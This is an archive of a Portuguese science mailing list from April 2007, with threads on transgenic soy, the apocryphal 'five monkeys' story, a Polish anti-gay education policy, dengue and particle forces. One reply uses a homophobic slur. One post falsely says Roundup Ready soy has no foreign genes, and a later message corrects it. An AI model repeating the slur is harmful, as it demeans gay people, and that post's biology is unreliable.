laboratórios para liberar novas drogas ou tratamentos antes dos prazos
comumente exigidos. Medicamentos que deveriam curar acabam
apresentando efeitos colaterais graves ou daninhos, de forma a não
compensar sua eficácia como tratamento.

Mas estudar e acompanhar cuidadosamente é diferente de impedir o
estudo completamente, ou ignorar as pesquisas, se estas refutarem sua
preocupação. Coisas como vacinas, antibióticos, anestesia, etc, não
existiriam hoje se as preocupações, em alguma medida legítimas, do
início tivessem impedido seu desenvolvimento.

Tenho sempre certo receio de posições "religiosas", que apresentam
motivos "religiosos" contra conhecimento ou pesquisas científicas. E
nem sempre a posição religiosa é de uma religião clássica, o
Greenpeace, e o ativismo ecológico, podem se comportar como uma
religião, onde a motivação emocional vence a razão.

A Igreja tentou impedir a anestesia no parto, pois violava palavras
claras e sagradas de deus: darás a luz com dor e sofrimento. Me parece
que a implicância com transgenicos, em alguma medida, passou para o
lado da motivação religiosa, mais que a oposição racional.

Por exemplo, as críticas parecem se dirigir aos "perigos" aos seres
humanos, quando poderiam ser mais eficazes se fossem dirigidas a
fragilidades mais evidentes e racionais, a possibilidade de se
tornarem ineficazes em razão da evolução do meio ambiente, e mais
especificamente, contra as empresas por tras dos transgenicos mais
conhecidos, que tentam criar um monopólio de patentes de genes para
sementes.

Isso me parece muito mais preocupante que eventuais perigos de ingerir
soja transgenica. Uma empresa pode criar uma semente transgenica, que
é resistente apenas a seu próprio herbicida, de forma a criar um
monopólio vertical: vende a semente, o que obriga a compra de adubo,
insumos e herbicidas, tudo fabricado por ela mesma.

A maior parte dos estudos parece confirmar a segurança da ingestão de
sementes transgenicas. Sem nada a refutar esses estudos, a sensação de
que é mais histeria que preocupação real é muito forte.

Um abraço.

Homero

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--
No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.0.0/752 - Release Date: 8/4/2007
20:34






------------------------------------------------------------------------------


No virus found in this incoming message.
Checked by AVG Free Edition.
Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007 22:57


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/04/2007 13:42

Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto


----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA


( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)


>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>



SUBJECT: EXEMPLO PARA O BRASIL E PARA O MUNDO
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <noosfera_II@yahoogrupos.com.br>, <Conversa_de_Botequim@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, Grupo de Debates Políticos Brasileiro <brasil-politica@grupos.com.br>, <Acropolis_@yahoogrupos.com.br>
DATE: 11/04/2007 14:35

Grupos.com.br
rpedroso01@terra.com.br wrote in : brasil-politica


Polônia demitirá professor que promover homossexualidade

Fonte: http://br.noticias.yahoo.com/s/15032007/25/mundo-polonia-demitira-professor-promover-homossexualidade.html

Qui, 15 Mar, 02h30

Professores que sejam vistos como promovendo "cultura homossexual" na Polônia serão demitidos, afirmou hoje o vice-ministro da Educação. Miroslaw Orzechowski, integrante da ultraconservadora Liga das Famílias Polonesas, que participa da coalizão do governo do primeiro-ministro Jaroslaw Kaczynski, frisou que não é aceitável a promoção da homossexualidade nas escolas, mas garantiu que professores gays não serão perseguidos.

"Não existe lugar para a promoção da cultura homossexual" nas escolas polonesas, afirmou a repórteres Orzechowski, que tem um papel-chave na elaboração de uma nova lei educacional visando extirpar o que seu partido considera "propaganda homossexual" nas escolas. Ele disse que o ministério ainda não definiu o que seria propaganda homossexual.

"Ninguém vai perguntar se um professor é homossexual", explicou. "Entretanto, se uma pessoa com tal tendência quer promover homossexualidade na escola, e não estou falando em induzir uma criança a tais atos, então não existe lugar para tal pessoa na escola."

A Campanha Contra a Homofobia da Polônia criticou os comentários do vice-ministro. "'Propaganda homossexual' é uma idéia tão absurda quanto 'propaganda heterossexual'", considerou a campanha num comunicado. "Ninguém pode lutar contra a homossexualidade, mas pode lutar contra a homofobia, que tem no Ministério da Educação uma forma radical."

A Liga das Famílias da Polônia, fundamentalista católica, também defende uma emenda constitucional para tornar a já rígida lei antiaborto do país ainda mais restritiva, proibindo a prática em qualquer circunstância, inclusive em casos de estupro e incesto


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Ácido Acético e o mosquito da Dengue
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 14:37

--- Em ciencialist@yahoogrupos.com.br, "hymboldt2005"
> Será que tem fundamento?

Em tese qq coisa q vc coloque pra sujar a água afeta o desenvolvimento
da larva do Aedes sp. O mais fácil é vc simplesmente *eliminar* a água
empoçada (pneus, latas e garrafas vazias, caixa-d´água destampada...).

[]s,

Roberto Takata



SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 16:46

Pelo q entendi e' a *mesma* proteina, a EPSPS.

Ela existe em plantas, bacterias e fungos, como catalisadora de uma
etapa do caminho bioquimico Shikimato.

Entendi q e' um caminho comum a varias especies, como o ciclo de
Krebs.

O capitulo 7 do livro Evolution Explosion, de Palumbi, refere-se ao
uso de multiplas copias do gene da EPSPS na soja (onde naturalmente
existe em copia unica) como mecanismo de resistencia ao glifosato.

Mas ja' encontrei artigos se referindo aa EPSPS da AB CP4 como sendo
uma EPSPS 'resistente ao glifosato'. Nao sei se isso e' uma forma
simplificada de descrever o mecanismo de manter a acao da enzima por
multiplas copias do gene ou se de fato sao dois tipos diferentes de
EPSPS.

Abs,
Eduardo Torres


--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> "Roundup Ready soybean event 40-3-2 was produced by introduction of
> the glyphosatetolerant cp4 epsps coding sequence derived from the
> common soil bacterium Agrobacterium sp. strain CP4 into the soybean
> genome using particle-acceleration transformation."
>
http://www.monsanto.com/monsanto/content/sci_tech/prod_safety/roundup_
soybean/pss.pdf
>
> Enhanced expression in plants
> http://patft.uspto.gov/netacgi/nph-Parser?
Sect1=PTO2&Sect2=HITOFF&p=2&u=%2Fnetahtml%2FPTO%2Fsearch-
bool.html&r=69&f=G&l=50&co1=AND&d=PTXT&s1=%22CP4+EPSPS%22&OS=%
22CP4+EPSPS%22&RS=%22CP4+EPSPS%22
>
> Até existe o gene da proteína não-resistente nas plantas. Mas a
versão
> resistente é derivada do Agrobacterium.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 16:50

--- Em ciencialist@yahoogrupos.com.br, "Luis Brudna" <luisbrudna@...>
escreveu
>
> Nao existe um dominio da Monsanto sobre o glifosato. Outras empresas
> tambem vendem o produto. O produto nao tem mais patente, jah caducou.

>>>>O herbicida glifosato sim, mas as sementes resistentes ao glifosato
por uso do gene da EPSPS, nao. Quem quiser usar, tem q pagar royalties
aa Monsanto. Mas, como vc comenta, parece q mesmo assim e' mais
lucrativo q plantar soja comum.

Abs,
Eduardo Torres





SUBJECT: Re: Transgênicos. Afinal, quem diz o quê?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 17:47

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Pelo q entendi e' a *mesma* proteina, a EPSPS.

'Mesmo' só no sentido de q o gene /cox/ de mamíferos é o mesmo q o das
bactérias - são homólogos.

Pelo q entendo, eles pegam uma variante do gene de /Agrobacterium/ q
*corresponde* à proteína de seqüência semelhante e função idem
presente nas plantas. Essa variante é a q confere resistência ao
/Agrobacterium/ q a possui.

[]s,

Roberto Takata



SUBJECT: Re: P/ JC - Discordando, politely
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 18:27

Olá poeta,

Comentei algumas coisas...

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Teacher José!
>
> Já que todo mundo nesta tread é educado. Permita-me
> uma intromissão educada.
>
> Zé >>> Ciência é ciência, filosofia é filosofia e
> teologia deve ser alguma coisa de que os padres gostam
> muito.
>
> --- Ingles é Ingles, portugues é portugues e espanhol
> deve ser alguma coisa de que os espanhois gostam
> muito. E ai, understand o lance, brother José?

Não estou bem certo de ter entendido o que você gostaria que eu
tivesse entendido. É importante termos um mesmo entendimento?

> --- Creio que este é o ponto que o José Renato está
> tentando lhe mostrar. Em ingles se fala "the book is
> on the table". Em portugues se fala "O livro está
> sobre a mesa". Ou seja, a "forma" de se comunicar é
> distinta, mas o "conteudo" da comunicação é o mesmo.
> Analogamente, a forma da ciência é a forma da ciência,
> a forma da filosofia é a forma da filosofia, a forma
> da teologia é a forma teologia, mas o conteudo é o
> mesmo. Nem poderiam ser diferente, afinal são todos
> frutos da mesma árvore: the human beeing. Lhe faz
> sentido? Do you agree?

Non sequitur. "The book is on the table" é o mesmo que "O livro está
sobre mesa", qual é o equivalente teológico de "O elétron tem carga de
módulo 1,6 x 10^(-19)"? Qual o equivalente filosófico?

> sinceraly
> teacher ferrari

Best regards,
JC

>
> ps1: não recebo suas respostas do boteco pois estou
> wed-only. se puder me manda pro meu email também.
>
> ps2: mensalmente vou pra são paulo e o onibus da
> itamarati sempre faz escala em americana. procuro sua
> house com os olhos, mas são tantas.
>
>
>
>
>
> - - - - - - - - - - - - - - -
>
> EXPERIMENTE XIXI COM TINTA
> O novo livro de Marcelo Ferrari:
>
http://www.livrosvirtuais.com.br/vivali.asp?loja=1186&div=&link=VerProduto&Produto=97664
>
> Para receber meus textos inéditos, envie um email para:
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SUBJECT: Sobre forças e partículas
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 19:12

A eletricidade e o magnetismo foram unificados. Eles constituem uma
mesma força? Ou são fenômenos diferentes, provenientes de algo mais
fundamental que os unifica? E a força fraca, como fica nisso? Onde
atua esta força? Ela pode ser vista como mais uma propriedade do
eletromagnetismo? Até que ponto podemos caracterizar a força eletro-
magnético-fraca como uma coisa só?

Três quarks se juntam para formar um próton. Mas os quarks têm carga
elétrica positiva. Que força promove esta união? É a força forte, ou
não se sabe? A força forte emana do quark, ou da partícula formada
pela união de três quarks?

Uma interessante curiosidade a respeito da força elétrica é que ela,
diferente das outras duas forças, se apresenta de duas formas
(negativa e positiva). Neste sentido a força forte e a gravitacional
se parecem, pois as duas são apenas atrativas, e as duas emanam do
núcleo, diferente da elétrica, que emana também da nuvem eletrônica.
É interessante também que, quando se trata de alcance, elas estão nos
extremos, enquanto a elétrica está no meio. A forte tem um alcance
absurdamente pequeno que se limita ao núcleo, enquanto a
gravitacional tem um alcance absurdamente grande, atuando em corpos
tão grandes como galáxias.

João de Carvalho




SUBJECT: Re: Sobre forças e partículas
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 21:40

Segundo a idéia corrente, todas as interações (forças) são
manifestações diferentes de uma única interação - elas se unificam à
energias cada vez maiores.

Assim a interação nuclear fraca se une à interação eletromagnética na
interação eletrofraca qdo se atinge um determinado nível de energia -
q normalmente não está presente na natureza.

Os quarks se combinam no próton por meio da interação nuclear forte -
mediada pela partícula glúon (não por acaso o nome do site do Brudna).

A interação elétrica não apresenta a forma negativa e positiva - isso
são as *cargas* elétricas (q tb podem ser nulas).

As cargas de cores (relacionadas com a interação nuclear forte) tb se
apresentam em mais de uma forma: vermelha, verde e azul (em combinação
produzem a carga neutra branca).

Vide: http://www.aventuradasparticulas.ift.unesp.br/

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> A eletricidade e o magnetismo foram unificados. Eles constituem uma
> mesma força? Ou são fenômenos diferentes, provenientes de algo mais
> fundamental que os unifica? E a força fraca, como fica nisso? Onde
> atua esta força? Ela pode ser vista como mais uma propriedade do
> eletromagnetismo? Até que ponto podemos caracterizar a força eletro-
> magnético-fraca como uma coisa só?
>
> Três quarks se juntam para formar um próton. Mas os quarks têm carga
> elétrica positiva. Que força promove esta união? É a força forte, ou
> não se sabe? A força forte emana do quark, ou da partícula formada
> pela união de três quarks?
>
> Uma interessante curiosidade a respeito da força elétrica é que ela,
> diferente das outras duas forças, se apresenta de duas formas
> (negativa e positiva). Neste sentido a força forte e a gravitacional
> se parecem, pois as duas são apenas atrativas, e as duas emanam do
> núcleo, diferente da elétrica, que emana também da nuvem eletrônica.
> É interessante também que, quando se trata de alcance, elas estão
> nos extremos, enquanto a elétrica está no meio. A forte tem um
> alcance absurdamente pequeno que se limita ao núcleo, enquanto a
> gravitacional tem um alcance absurdamente grande, atuando em corpos
> tão grandes como galáxias.
>
> João de Carvalho
>




SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 22:00

Álvaro,
concordo com vc.
''Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.''
Não importa muito quem fez o experimento e nem se é verdadeiro...
Um pouco de experiência de vida mostra que, seja lá quem for o autor, a
*ignorância* está por aí à procura de comportamento automático e impensado,
não a de macacos, mas a dos humanos.
Pensar livremente é coisa muito pesada e cansativa.
abr/M.


>From: "Alvaro Augusto (L)" <alvaro@lunabay.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>Date: Wed, 11 Apr 2007 13:42:14 -0300
>
>Essa é realmente velha, mas cabem as perguntas de sempre:
>
>- Quais os nomes dos pesquisadores?
>- Em que instituição foram realizados os experimentos?
>- Houve grupo de controle?
>- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
>pesquisadores independentes?
>- Os resultados foram publicados em um periódico peer-reviewed?
>
>Sem tais respostas, podemos concluir que o autor anônimo está apenas
>tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
>podem ser estabelecidos sem que as pessoas verifiquem se o experimento
>alegado realmente existiu.
>
>E que a alma de Thomas Kuhn descance em paz...
>
>[ ]s
>
>Alvaro Augusto
>
>
>----- Original Message -----
>From: "murilo filo" <avalanchedrive@hotmail.com>
>To: <ciencialist@yahoogrupos.com.br>
>Sent: Tuesday, April 10, 2007 10:34 PM
>Subject: [ciencialist] COMO NASCE UM PARADIGMA
>
>
>( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
>quem são os que matam os paradigmas?)
>
>
> >COMO NASCE UM PARADIGMA
> >
> >
> >Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
> >puseram uma escada e, sobre ela, um cacho de bananas.
> >Quando um macaco subia a escada para apanhar as bananas, os cientistas
> >lançavam um jato de água fria nos que estavam no chão.
> >Depois de certo tempo, quando um macaco ia subir a escada, os outros
> >enchiam-no de porradas.
> >Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
> >tentação das bananas.
> >Então, os cientistas substituíram um dos cinco macacos.
> >A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
> >retirado pelos outros, que o encheram de porradas, antes que recebessem
>o
> >jato de água fria.
> >Depois de algumas surras, o novo integrante do grupo não mais subia a
> >escada.
> >Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
>substituto
> > participado, com entusiasmo, da surra ao novato.
> >Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
> >último dos veteranos foi substituído.
> >Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
> >nunca tendo tomado um banho frio, continuavam batendo naquele que
>tentasse
> >chegar às bananas.
> >Se fosse possível perguntar a algum deles porque batiam em quem tentasse
> >subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
> >foram assim por aqui..."
> >
> >Conte esta história para seus amigos, para que, vez por outra,
> >questionem-se porque estão batendo...
> >
> >"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> > ( Albert Einstein )
> >
> >
> >Sds,
> >Edenilson Araújo
> >
>
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>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
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>




SUBJECT: RE: [ciencialist] EXEMPLO PARA O BRASIL E PARA O MUNDO
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 22:05

Se todos na Polônia assistirem as novelas brazucas, qualquer promoção de
viadagem nas escolas será plenamente dispensavel.
abr/M.


>From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To:
><noosfera_II@yahoogrupos.com.br>,<Conversa_de_Botequim@yahoogrupos.com.br>,<ciencialist@yahoogrupos.com.br>,Grupo
>de Debates Políticos Brasileiro
><brasil-politica@grupos.com.br>,<Acropolis_@yahoogrupos.com.br>
>Subject: [ciencialist] EXEMPLO PARA O BRASIL E PARA O MUNDO
>Date: Wed, 11 Apr 2007 14:35:16 -0300
>
>Grupos.com.br
> rpedroso01@terra.com.br wrote in : brasil-politica
>
>
>Polônia demitirá professor que promover homossexualidade
>
>Fonte:
>http://br.noticias.yahoo.com/s/15032007/25/mundo-polonia-demitira-professor-promover-homossexualidade.html
>
>Qui, 15 Mar, 02h30
>
>Professores que sejam vistos como promovendo "cultura homossexual" na
>Polônia serão demitidos, afirmou hoje o vice-ministro da Educação. Miroslaw
>Orzechowski, integrante da ultraconservadora Liga das Famílias Polonesas,
>que participa da coalizão do governo do primeiro-ministro Jaroslaw
>Kaczynski, frisou que não é aceitável a promoção da homossexualidade nas
>escolas, mas garantiu que professores gays não serão perseguidos.
>
>"Não existe lugar para a promoção da cultura homossexual" nas escolas
>polonesas, afirmou a repórteres Orzechowski, que tem um papel-chave na
>elaboração de uma nova lei educacional visando extirpar o que seu partido
>considera "propaganda homossexual" nas escolas. Ele disse que o ministério
>ainda não definiu o que seria propaganda homossexual.
>
>"Ninguém vai perguntar se um professor é homossexual", explicou.
>"Entretanto, se uma pessoa com tal tendência quer promover homossexualidade
>na escola, e não estou falando em induzir uma criança a tais atos, então
>não existe lugar para tal pessoa na escola."
>
>A Campanha Contra a Homofobia da Polônia criticou os comentários do
>vice-ministro. "'Propaganda homossexual' é uma idéia tão absurda quanto
>'propaganda heterossexual'", considerou a campanha num comunicado. "Ninguém
>pode lutar contra a homossexualidade, mas pode lutar contra a homofobia,
>que tem no Ministério da Educação uma forma radical."
>
>A Liga das Famílias da Polônia, fundamentalista católica, também defende
>uma emenda constitucional para tornar a já rígida lei antiaborto do país
>ainda mais restritiva, proibindo a prática em qualquer circunstância,
>inclusive em casos de estupro e incesto
>
>
>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 11/04/2007 22:44

Renato:
Os adubos não. impossível a Monsanto cartelizar esses insumos. Demandam extraordinária infraestrutura. Ela se reserva à parte científica, aperfeiçoando as sementes e os defensivos, e fazendo os contratos de parceria.

sds.,
silvio.:
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, April 10, 2007 10:43 PM
Subject: Re: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?


Eduardo, grato pelos amplos esclarecimentos. Valeu!
[]s
José Renato
.............................................

----- Original Message -----
From: "Eduardo Torres" <dudutorres@yahoo.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 4:31 PM
Subject: [ciencialist] Re: Transgênicos. Afinal, quem diz o quê?

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Homero, escreveu: [ Uma empresa pode criar uma semente transgênica,
que é
> resistente apenas a seu próprio herbicida, de forma a criar um
monopólio
> vertical: vende a semente, o que obriga a compra de adubo, insumos
e
> herbicidas, tudo fabricado por ela mesma. ]
> .............................................
>
> Parece-me que o tempo do verbo está defasado na descrição dessa
> possibilidade perversa denunciada pelos ecologistas. A semente e o
herbicida
> com esse perfil "especial" já são produzidas pela Monsanto.
> []s
> JR

>>>>Na verdade a 'venda casada' se restringe mais ao herbicida
glifosato, q e' chamado comercialmente de Round Up e e' vendido pela
Monsanto. A soja transgenica da Monsanto e' resistente a esse
herbicida, por isso e' chamada de Round Up Ready. Adubos e outros
insumos sao similares para as sojas transgenica e comum. Tudo leva a
crer q ha' claras vantagens no uso da soja transgenica, tanto q os
agricultores gauchos praticamente so' usam soja transgenica por la'.
Com soja RUR se reduz muito o uso de herbicida, pois se pode usar
poucas doses de um produto altamente letal para plantas nao
protegidas geneticamente como o glifosato, q e' ao mesmo tempo muito
pouco toxico para animais e de alta degradabilidade. Com isso, os
especialistas da area dizem q o uso de soja transgenica e' mais
economico para o agricultor e menos agressivo ambientalmente. Claro q
os grandes lucros da fase 'informal', qdo nao pagavam royalties aa
Monsanto, acabou, mas pelo q tenho lido nos jornais a lucratividade
ainda e' maior q a soja comum, mesmo com os royalties. O mecanismo de
transgenia da soja RUR e' muito simples: Um gene responsavel pela
sintese de uma enzima q causa a degradacao do glifosato (naturalmente
existente na soja comum, mas insuficiente p/ conferir resistencia
significativa aa planta), e' colocado em muitas copias no genoma da
soja transgenica, q assim degrada o glifosato mais rapido do q e'
afetada por ele. Quer dizer, nao ha' genes alienigenas na soja
transgenica, apenas genes ja' naturalmente presentes no genoma da
soja comum.

Mas e' preciso pesquisar mais plantas transgenicas, em rotas
diferentes das usadas pelas grandes multis, para diversificarmos essa
tecnica e para nao ficarmos na mao de poucas empresas de alta
tecnologia.

O futuro da agricultura e' transgenico, disso nao resta duvida. As
plantas nao conseguirao mudar o suficiente, e suficientemente rapido,
por metodos nao transgenicos, na extensao d q necessitaremos para
expandir a agricultura sem estressar ambientalmente o planeta na
escala em q sera' necessario estressar com plantas 'naturais', se
quisermos alimentar bem a toda humanidade.

Abs,
Eduardo Torres

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: Murilo Silva : Questão de Ordem
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 23:37

Olá Murilo Silva!

Murilo >>> admiro, cada x+ a sua paciência.

--- Hehehe... eu também!

Murilo >>> Vc está dando respostas preciosas a quem
não tem perguntas!!!

--- Deus não joga dados.

Murilo >>> Não estou num sítio, pelo contrário, estou
de gravata no buxixo total...

--- Mr. Anderson, e vc acha que poderia estar em algum
outro lugar senão ai?

Murilo >>> Mas meu caminho filosófico é muito mais
solitário.

--- Sólitário somos sempre. Sozinhos, nunca.

Murilo >>> Conte mais sobre a tal facada!

--- Depois de uma das facadas escrevi esta cronica
aqui abaixo. Vou posta-la porque retirei do blog
quando publiqueia no xixi com tinta:

- - - - - - -

MAIS SILVA! (ferrari)

Conta a história que Newton cochilava num torpor
prazeroso quando uma maçã atingiu sua cabeça. Um
acontecimento trivial, mas que, justamente pela
trivialidade, acabou levando o cientista a compreender
a órbita dos planetas.

Compreensão é assim mesmo, coisa que acontece pela
benção do Espírito Susto – estupro inesperado
perfurando a carne virgem da mente. Num momento
estamos dormindo, empanturrados pela rotina e, de
súbito, sem mais nem menos, a mesma rotina de sempre
cai feito maçã sobre nossas cabeças, fazendo brotar
ali um galo, um canto que anuncia o raiar de um novo
dia, de novo.

— Quem gostaria de compartilhar a experiência? — ele
perguntou.

Uma tonelada de silêncio não seria suficiente pra
pintar na imaginação alheia o que eu tinha pra dizer.
Usar palavras pra exprimir o que havia compreendido
seria como gritar: “eu sou mudo!” Havia acabado de
dançar a dança dos loucos. Uma estranha compreensão
morava dentro de mim, cristalina, lúcida, trivial, mas
profundamente incomunicável. Como expressar o olhar
com palavras, se as palavras só servem pra distrair o
olhar?

— A ficha caiu! — declarei.

Não chacoalhei o galho nem cobicei a maçã. Ela
simplesmente caiu, como um quadro que cai da parede
depois de ter permanecido no mesmo lugar durante anos.
Por que caiu nesse instante e sobre minha cabeça, eu
não sei. Caiu! Caiu, e pronto. Caiu, e ponto. Caiu, e
ponto de exclamação! Caiu, sem ponto de interrogação.
A ficha caiu, e uma ligação se completou. A voz do
outro lado disse “alô”, e eu também. Não tenho como
descompreender o compreendido.

— Obrigado! Alguém mais quer compartilhar? — ele
disse.

Olhei ao redor. Ninguém parecia espantado com minha
declaração. Meu espanto era meu. Minha declaração era,
além de egoísta, apenas uma rotina de palavras. Cada
um permanecia um, ligado à sua própria rotina e retina
existencial. Após o susto fui incorporando a minha
também, em doses homem-apáticas. Agora com o auxílio
da memória, coloco o antes e o depois, cara a cara. O
que vejo é o mesmo de sempre, porém, é um sempre mais
arrepiado. Mais amplo. Mais trivial. Mais Silva!

- - - - - - -


abç silva
ferrari







--- murilo filo <avalanchedrive@hotmail.com> escreveu:

> Ferrari,
> admiro, cada x+ a sua paciência.
> Villas Boas enxugando gelo... a missão...
> Vc está dando respostas preciosas a quem não tem
> perguntas!!!
> Não estou num sítio, pelo contrário, estou de
> gravata no buxixo total, mas
> meu caminho filosófico é muito mais solitário.
> Evidentemente, isso não é uma crítica... é pura
> admiração.
> Conte mais sobre a tal facada!
> abr/Muliro
>
>
> >From: Ferrari <emailferrari@yahoo.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] Re: Homero: Questão de Ordem
> - Direito de Defesa
> >Date: Tue, 10 Apr 2007 11:32:41 -0300 (ART)
> >
> >Olá Homero!
> >
> >Homero >>> Apenas para constar, e para ajuda-lo a
> >decidir que rumo tomar.
> >
> >--- Homero, o sábio, calejado e ilustre Paulinho da
> >Viola diz o seguinte: "Não sou eu quem me navega,
> quem
> >me navega é o mar". Canto o mesmo refrão junto com
> >Paulinho. Como disse ao murilo, qualquer lugar que
> se
> >chega é apenas um lugar qualquer. Esta compreenção
> é o
> >unico lugar onde se pode chegar. O resto é navegar.
> >Estamos no mesmo barco, quer vc queira, quer não.
> Ser
> >útil, dentro deste barco, não é ajudar ninguém a
> >chegar a lua, ou construir carros de hidrogenio.
> Que
> >utilidade tem isto frente a inevitável morte? Tudo
> >vira bosta, lembra? Ser util, dentro deste barco, é
> >compreender a ilusão do materialismo, é compreender
> >que tudo vira bosta, mas o processo de "virar" é
> >eterno. Eis o moto-continuo. Abre logo a carta,
> >Homero, ou vc quer virar bosta junto com a carta?
> >
> >Homero >>> eu acho suas participações totalmente
> >inúteis, em termos de ciência.
> >
> >--- Faz todo sentido vc achar isto, a visão que vc
> tem
> >de ciencia é totalmente materialista.
> >
> >Homero >>> E, sim, fica parecendo dogmatismo e
> >cegueira religiosa, teológica, e irracional.
> >
> >--- Este é seu ponto de vista, Homero. Respeito.
> Mas
> >não concordo com ele. Olhando do meu ponto de
> vista,
> >não-materialista, o dogmático é você.
> >
> >
> >sinceramente
> >ferrari
> >
> >
> >
> >
> >
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SUBJECT: Re: P/ JC - Discordando, politely
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 11/04/2007 23:44

Hello Teacher!

